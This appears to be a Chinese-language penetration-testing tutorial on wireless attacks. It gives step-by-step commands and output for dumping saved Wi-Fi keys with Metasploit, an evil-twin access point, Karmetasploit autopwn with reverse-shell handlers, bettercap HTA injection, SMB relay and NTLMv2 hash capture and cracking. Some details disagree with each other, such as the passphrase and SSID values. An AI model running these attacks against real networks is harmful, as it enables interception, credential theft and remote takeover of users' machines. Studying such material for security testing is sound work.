概述
尽管存在安全问题,无线技术仍将继续存在。事实上,无线技术不仅会继续存在,而且其部署和利用率也在不断增长。无线网络的渗透测试可能会给组织带来无线基础设施固有的真正的危害风险。在本章中,我们将介绍如何利用 Metasploit
执行 Wi-Fi
渗透测试。
在本章中,我们将使用带无线网卡的 Kali Linux
计算机来执行无线攻击,目标是连接到无线接入点的客户端计算机。
# 1、Metasploit和无线网络
尽管 Metasploit
没有直接利用无线漏洞的模块,但它是执行无线渗透测试时最好使用的工具之一。以后渗透无线模块为例,该模块可用于提取保存的 WLAN
配置文件并获取密码。
1、我们将首先使用 `Windows 无线连接信息获取后渗透模块来收集有关目标计算机上每个无线 LAN 接口上的当前连接的信息:
msf6 exploit(multi/handler) > use post/windows/wlan/wlan_current_connection
msf6 post(windows/wlan/wlan_current_connection) > set session 2
session => 2
msf6 post(windows/wlan/wlan_current_connection) > run
[+] GUID: {c4002510-462b-4c77-aeb9-f75267229a79}
Description: Realtek 8812AU Wireless LAN 802.11ac USB NIC
State: The interface is connected to a network.
Mode: A profile is used to make the connection.
Profile: KotoriNet_Guest
SSID: KotoriNet_Guest
AP MAC: d6:da:21:ac:ca:ca
BSS Type: Infrastructure
Physical Type: 802.11n PHY type
Signal Strength: 100
RX Rate: 144400
TX Rate: 144400
Security Enabled: Yes
oneX Enabled: No
Authentication Algorithm: RSNA with PSK
Cipher Algorithm: CCMP
2、接下来,我们可以使用Windows Gather Wireless BSS Info
后渗透模块来收集有关受害计算机可用的无线基本服务集的信息:
msf6 exploit(windows/local/bypassuac_fodhelper) > use post/windows/wlan/wlan_bss_list
msf6 post(windows/wlan/wlan_bss_list) > set session 10
session => 10
msf6 post(windows/wlan/wlan_bss_list) > run
[*] Number of Networks: 9
[+] SSID: KefsssssokuNet
BSSID: d4:da:21:9c:ca:ca
Type: Infrastructure
PHY: 802.11n PHY type
RSSI: -50
Signal: 42
[+] SSID: RTL8186-default
BSSID: 00:9a:cd:f1:86:b8
Type: Infrastructure
PHY: Unknown Association Type
RSSI: -81
Signal: 46
[+] SSID: handlike3
BSSID: 20:6b:e7:6e:93:89
Type: Infrastructure
PHY: 802.11n PHY type
RSSI: -80
Signal: 48
[*] WlanAPI Handle Closed Successfully
[*] Post module execution completed
利用该模块的输出,我们可以使用 WiGLE
(一个收集世界各地不同无线热点信息的网站)来查找客户端计算机的物理位置。
3、Windows Gather Wireless Profile
模块可能是执行无线渗透测试最有用的后渗透模块之一,因为它允许我们提取保存的wlan
配置文件并获取无线密码:
msf6 post(windows/wlan/wlan_bss_list) > use post/windows/wlan/wlan_profile
msf6 post(windows/wlan/wlan_profile) > set session 10
session => 10
msf6 post(windows/wlan/wlan_profile) > run
[+] Wireless LAN Profile Information
GUID: {c4002510-462b-4c77-aeb9-f75267229a79} Description: Realtek 8812AU Wireless LAN 802.11ac USB NIC State: The interface is connected to a network.
Profile Name: S_Guest
<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>S_Guest</name>
<SSIDConfig>
<SSID>
<hex>4B6F746F72694E65745F4775657374</hex>
<name>S_Guest</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>manual</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>88888888</keyMaterial>
</sharedKey>
</security>
</MSM>
<MacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profile/v3">
<enableRandomization>false</enableRandomization>
</MacRandomization>
</WLANProfile>
[*] WlanAPI Handle Closed Successfully
[*] Post module execution completed
查看输出,我们能够获取客户端连接到的接入点的SSID
是 S_Guest
,使用带有预共享密钥身份验证的 WPA2
进行身份验证,以及用于共享密钥的密码 8888888
。
# 2、邪恶双胞胎攻击
邪恶双胞胎攻击是一种 Wi-Fi
攻击方法,使用恶意 Wi-Fi
接入点 (AP) 来模仿企业提供的合法接入点,例如提供免费 Wi-Fi
访问的咖啡店。
通过模仿合法的接入点,我们可以诱骗用户连接到它,这样我们就可以窃取凭证、将受害者重定向到恶意软件网站、执行 LLMNR
、NBT-NS
中毒攻击等。
我们首先安装 DHCP
服务器用于动态配置受害者的 IP
设置:
$ sudo apt install isc-dhcp-server -y
接下来,通过编辑 /etc/dhcp/dhcpd.conf
中的配置文件来配置 DHCP
服务器:
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 10.0.0.0 netmask 255.255.255.0
{
option subnet-mask 255.255.255.0;
option broadcast-address 10.0.0.255;
option routers 10.0.0.1;
option domain-name-servers 8.8.8.8;
range 10.0.0.100 10.0.0.253;
}
现在我们已经安装了所需的软件,接下来设置邪恶双胞胎接入点。
1、首先,使用 iwconfig
命令找出无线网卡的名称:
└─# iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
2、然后,使用aircrack-ng
套件中的airmon-ng
命令启动接口监听模式:
└─# airmon-ng start wlan0
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
602 NetworkManager
4664 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0 rtl8187 Realtek Semiconductor Corp. RTL8187
(monitor mode enabled)
这将创建一个新的虚拟(VAP)接口,并将其置于监听模式。名称将取决于驱动程序,但类似于 wlan0mon
。
3、在监听模式下创建虚拟接口后,我们就可以使用 airbase-ng
命令创建邪恶双胞胎接入点了:
airbase-ng -c 5 -a f4:ec:38:f8:d0:1b -e 爆单符 -v wlan0
23:01:12 Created tap interface at0
23:01:12 Trying to set MTU on at0 to 1500
23:01:12 Trying to set MTU on wlan0 to 1800
23:01:12 Access Point with BSSID F4:EC:38:F8:D0:1B started.
23:01:13 Got broadcast probe request from 0A:39:AF:2B:31:5C
其中 -a f4:ec:38:f8:d0:1b
用于设置 BSSID
,-e TP-LINK_F8D01B
用于设置 SSID
,-c 5
用于指定目标 AP
的信道。
4、接下来,使用 ip
命令配置接口IP
地址:
# ip addr add 10.0.0.1/24 dev at0
# ip link set at0 up
5、然后,使用iptables
配置网络地址转换 (NAT):
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
6、然后,创建 /var/lib/dhcp/dhcpd.leases
文件,并使用 dhcpd
命令在 at0
接口上启动 DHCP
服务器:
─# touch /var/lib/dhcp/dhcpd.leases
┌──(root㉿kali)-[/home/kali]
└─# dhcpd -cf /etc/dhcp/dhcpd.conf at0
Internet Systems Consortium DHCP Server 4.4.3-P1
Copyright 2004-2022 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Config file: /etc/dhcp/dhcpd.conf
Database file: /var/lib/dhcp/dhcpd.leases
PID file: /var/run/dhcpd.pid
Wrote 0 leases to leases file.
Listening on LPF/at0/f4:ec:38:f8:d0:1b/10.0.0.0/24
Sending on LPF/at0/f4:ec:38:f8:d0:1b/10.0.0.0/24
Sending on Socket/fallback/fallback-net
7、最后,使用 sysctl
启用 IP 转发,在 Kali Linux
机器上启用数据包转发,允许客户端通过 eth0
接口访问互联网:
sysctl -w net.ipv4.ip_forward=1
现在,我们的邪恶双胞胎 AP
已经准备就绪,可以使用 urlsnarf
等工具对其进行测试,该工具将输出从 at0
接口的 HTTP
流量中嗅探到的 URL
:
─# urlsnarf -i at0
urlsnarf: listening on at0 [tcp port 80 or port 8080 or port 3128]
# 3、配置 Karmetasploit
两位安全研究人员 Dino Dai Zovi 和 Shane Macaulay 编写了一套作为漏洞 PoC 开发的无线安全工具,并将其称为 Karma
。它后来与 Metasploit
集成并称为 Karmetasploit
,它允许我们创建虚假访问点、捕获密码和日期并对客户端进行浏览器攻击。
在连接到无线网络的过程中,大多数操作系统通常会将之前的网络与其连接保留为首选网络列表,并发送连续的探测帧来搜索这些网络。一旦找到网络,系统会自动连接到网络。
如果发现多个被探测的网络,它将连接到信号最高的网络。
由于发送连续探测帧,此范围内的任何人都可以被动监听并查看用户正在探测的网络。攻击者实际上利用算法实现中的漏洞来连接到以前的网络,因此攻击者有可能建立一个虚假的接入点并让受害者连接到它。一旦受害者连接到假 AP,攻击者现在就与受害者建立了 IP
级连接。他现在可以对受害者发起任何攻击。
运行下列命令从Offensive Security
官网下载karma.rc
资源文件
wget https://www.offsec.com/wp-content/uploads/2015/04/karma.rc_.txt
当客户端连接到我们运行的假 AP
时,需要给客户端分配IP
地址。
1、首先第一步,安装DHCP
服务器
apt install isc-dhcp-server -y
2、配置dhcpd.conf
文件
cat << EOF > /etc/dhcp/dhcpd.conf
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 10.0.0.0 netmask 255.255.255.0
{
option subnet-mask 255.255.255.0;
option broadcast-address 10.0.0.255;
option routers 10.0.0.1;
option domain-name-servers 8.8.8.8;
range 10.0.0.100 10.0.0.253;
}
EOF
3、启动无线网卡监听模式
airmon-ng start wlan0
4、接下来,使用airbase-ng -P
来响应所有探测帧,无论 ESSID
为何,-C
表示 ESSID
被设置信标的秒数,-v
表示详细信息,后跟接口:
# airbase-ng -P -C 30 -e Karma -v wlan0
00:49:15 Created tap interface at0
00:49:15 Trying to set MTU on at0 to 1500
00:49:15 Trying to set MTU on wlan0 to 1800
error setting MTU on wlan0
00:49:15 MTU on wlan0 remains at 1500
00:49:15 Access Point with BSSID 02:76:B3:C3:A0:56 started.
00:49:15 Got broadcast probe request from 92:33:77:15:77:B2
airbase-ng
将创建了一个新接口,名字为at0
5、然后为at0
分配一个 IP
地址并在这个接口启动 DHCP
服务器:
ip addr add 10.0.0.1/24 dev at0
ip link set at0 up
dhcpd -cf /etc/dhcp/dhcpd.conf at0
6、现在我们只需要使用 karma.rc
资源文件,等待客户端连接,并获取一些 shell
:
─# msfconsole -q -r karma.rc
resource (karma.rc)> use auxiliary/server/browser_autopwn
resource (karma.rc)> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST => 10.0.0.1
resource (karma.rc)> setg AUTOPWN_PORT 55550
AUTOPWN_PORT => 55550
..................
[*] Server started.
[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333
[*] Starting handler for generic/shell_reverse_tcp on port 6666
[*] Started reverse TCP handler on 10.0.0.1:3333
[*] Starting handler for java/meterpreter/reverse_tcp on port 7777
[*] Started reverse TCP handler on 10.0.0.1:6666
[*] Started reverse TCP handler on 10.0.0.1:7777
[*] --- Done, found 20 exploit modules
[*] Using URL: http://10.0.0.1:55550/ads
[*] Server started.
# 4、无线 MITM 攻击
尽管 MITM
攻击并非无线所独有,但无线技术更容易遭受此类攻击,因为攻击者可以在安全距离内执行这些攻击,而无需担心布线和物理安全。 MITM
是一种攻击,攻击者在相互通信的两方之间中继并改变通信。通过各种方法模拟网络上的主机,使这些主机将流量发送到我们的机器,而不是实际的目的地。
在本节中,我们将使用 BetterCAP
,它是 Ettercap
的替代者,Ettercap
是一个著名的 MITM
攻击套件。因此,首先,让我们在 Kali Linux
机器上安装 bettercap
:
apt install bettercap -y
我们将使用 BetterCAP
将 HTML
应用程序 (HTA) 的 URL
注入到页面。 HTA
将使用 HTA Web Server Metasploit
漏洞利用模块创建和托管,打开后将通过 PowerShell
执行攻击载荷。
1、利用hta web server
模块创建和托管HTA
msf6 > use exploit/windows/misc/hta_server
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > set SRVPORT 443
SRVPORT => 443
msf6 exploit(windows/misc/hta_server) > set LHOST 192.168.19.125
LHOST => 192.168.19.125
msf6 exploit(windows/misc/hta_server) > set URIPATH Update
URIPATH => Update
msf6 exploit(windows/misc/hta_server) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.19.125:4444
msf6 exploit(windows/misc/hta_server) > [*] Using URL: http://192.168.19.125:443/Update
[*] Server started.
2、然后,在新的终端窗口中,我们使用 BetterCAP
发送欺骗性地址解析协议 (ARP) 消息,将我们的 MAC
地址与默认网关的 IP
地址相关联,从而导致发送至该IP
地址的任何流量发送给攻击者,并使用injecthtml
模块注入iframe
代码:
这里以老版本的
bettercap v1.6.2
举例,新版本用法不同,请参考新版的官方文档安装老版本bettercap
sudo apt-get install ruby-dev libpcap-dev gem update --system gem install bettercap
对于新版本的kali,可能需要安装ruby2.7才能正常运行老版本的bettercap,还需要安装openssl1.1.1
rvm pkg install openssl rvm reinstall 2.7.0 --with-openssl-dir=/usr/local/rvm/usr
# bettercap -I eth0 -T 192.168.91.131 --proxy-module injecthtml --html-iframe-url http://192.168.91.140:443/Update
_ _ _
| |__ ___| |_| |_ ___ _ __ ___ __ _ _ __
| '_ \ / _ \ __| __/ _ \ '__/ __/ _` | '_ \
| |_) | __/ |_| || __/ | | (_| (_| | |_) |
|_.__/ \___|\__|\__\___|_| \___\__,_| .__/
|_| v1.6.2
http://bettercap.org/
[I] Starting [ spoofing:✔ discovery:✘ sniffer:✘ tcp-proxy:✘ udp-proxy:✘ http-proxy:✔ https-proxy:✘ sslstrip:✔ http-server:✘ dns-server:✔ ] ...
[I] [eth0] 192.168.91.140 : 00:0C:29:86:74:67 / eth0 ( VMware )
[I] [GATEWAY] 192.168.91.2 : 00:50:56:E1:C9:60 ( VMware )
[I] [DNS] Starting on 192.168.91.140:5300 ...
[I] [HTTP] Proxy starting on 192.168.91.140:8080 ...
[I] Found NetBIOS name 'CYZ' for address 192.168.91.131
[I] [TARGET] 192.168.91.131 : 00:0C:29:76:76:B7 / CYZ ( VMware )
受害者一点点击运行,就会上线
# 5、SMB中继攻击
SMB
中继攻击允许我们将 SMB
身份验证请求中继到另一台主机,如果用户具有访问权限并且目标主机上允许网络登录,则可以获得对经过身份验证的SMB
会话的访问权限。如果用户在目标主机中具有管理员访问权限,则可以执行任意命令。
在本节中,将使用 MS08-068 Microsoft Windows SMB
中继代码执行漏洞利用模块来执行 SMB
中继攻击:
1、首先设置SRVHOST
,payload
,RELAY_TARGETS
以及监听的端口和地址
sf6 exploit(windows/smb/smb_relay) > set SRVHOST 192.168.91.140
SRVHOST => 192.168.91.140
msf6 exploit(windows/smb/smb_relay) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf6 exploit(windows/smb/smb_relay) > set LHOST 192.168.91.140
LHOST => 192.168.91.140
msf6 exploit(windows/smb/smb_relay) > set LPORT 443
LPORT => 443
msf6 exploit(windows/smb/smb_relay) > set RELAY_TARGETS 192.168.91.0/24
RELAY_TARGETS => 192.168.91.0/24
msf6 exploit(windows/smb/smb_relay) > run -j
2、创建一个HTML文件,并在 UNC
路径中使用运行中继的计算机的 IP
地址
<html>
<body>
<img src="\\192.168.91.140\image.jpg">
</body>
</html>
3、使用 BetterCAP
注入 HTML
文件,强制目标进行身份验证并尝试加载图像
# bettercap -T 192.168.91.131 --proxy-module injecthtml --html-file /home/kali/inject.html
4、目标浏览页面的时候,被加载了我们注入的内容
5、当目标尝试加载我们注入的 HTML
文件中的图像时,我们能够中继身份验证并成功执行攻击载荷:
# 其他
因为只有当用户是目标计算机上的管理员时我们才能获得命令执行,因此在渗透测试期间,可以利用 SMB
身份验证并尝试从 SMB
客户端系统捕获质询响应密码哈希值。为此,可以使用身份验证捕获:SMB
辅助模块,当目标尝试加载注入的 HTML
文件中的图像时,我们将捕获 NTLM v 2
身份验证哈希值:
msf6 > use auxiliary/server/capture/smb
msf6 auxiliary(server/capture/smb) > set JOHNPWFILE /root/smb
JOHNPWFILE => /root/smb
msf6 auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 6.
msf6 auxiliary(server/capture/smb) >
[*] JTR hashes will be split into two files depending on the hash format.
[*] /root/smb_netntlm for NTLMv1 hashes.
[*] /root/smb_netntlmv2 for NTLMv2 hashes.
[*] Server is running. Listening on 0.0.0.0:445
[*] Server started.
[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv2-SSP Client : 192.168.91.131
[SMB] NTLMv2-SSP Username : CYZ\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::CYZ:1a248bd6fdbb0f6b:d11e77be83ed93240ba371af712204b9:010100000000000000269dd8c1dfd901778b3b7b5b201dd8000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f00550050000700080000269dd8c1dfd901060004000200000008003000300000000000000000000000003000002ee4834763db8176873306176719a0509a5599f2da7920945ff28942d981f6460a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00390031002e00310034003000000000000000000000000000
现在我们有了 NTLM v 2
哈希,可以尝试使用John the Ripper
破解密码
john /root/smb_netntlmv2
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
(Administrator)
1g 0:00:00:00 DONE 2/3 (2023-09-05 14:30) 11.11g/s 73388p/s 73388c/s 73388C/s 123456..random
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
另一种选择是使用 LLMNR Spoofer
辅助模块而不是 BetterCAP
。链路本地多播名称解析 (LLMNR) 是 NetBIOS
的后继者,用于Windows Vista
及更高版本中的名称解析。 LLMNR Spoofer
辅助模块将通过侦听发送到 LLMNR
多播地址 (224.0.0.252) 的 LLMNR
请求来伪造LLMNR
响应,并使用我们机器的 IP
地址进行响应:
msf6 auxiliary(server/capture/smb) > use auxiliary/spoof/llmnr/llmnr_response
semsf6 auxiliary(spoof/llmnr/llmnr_response) > set SPOOFIP 192.168.91.140
SPOOFIP => 192.168.91.140
msf6 auxiliary(spoof/llmnr/llmnr_response) > run
[*] Auxiliary module running as background job 7.
捕获 NTLM v2
哈希后,可以尝试使用John the Ripper
破解密码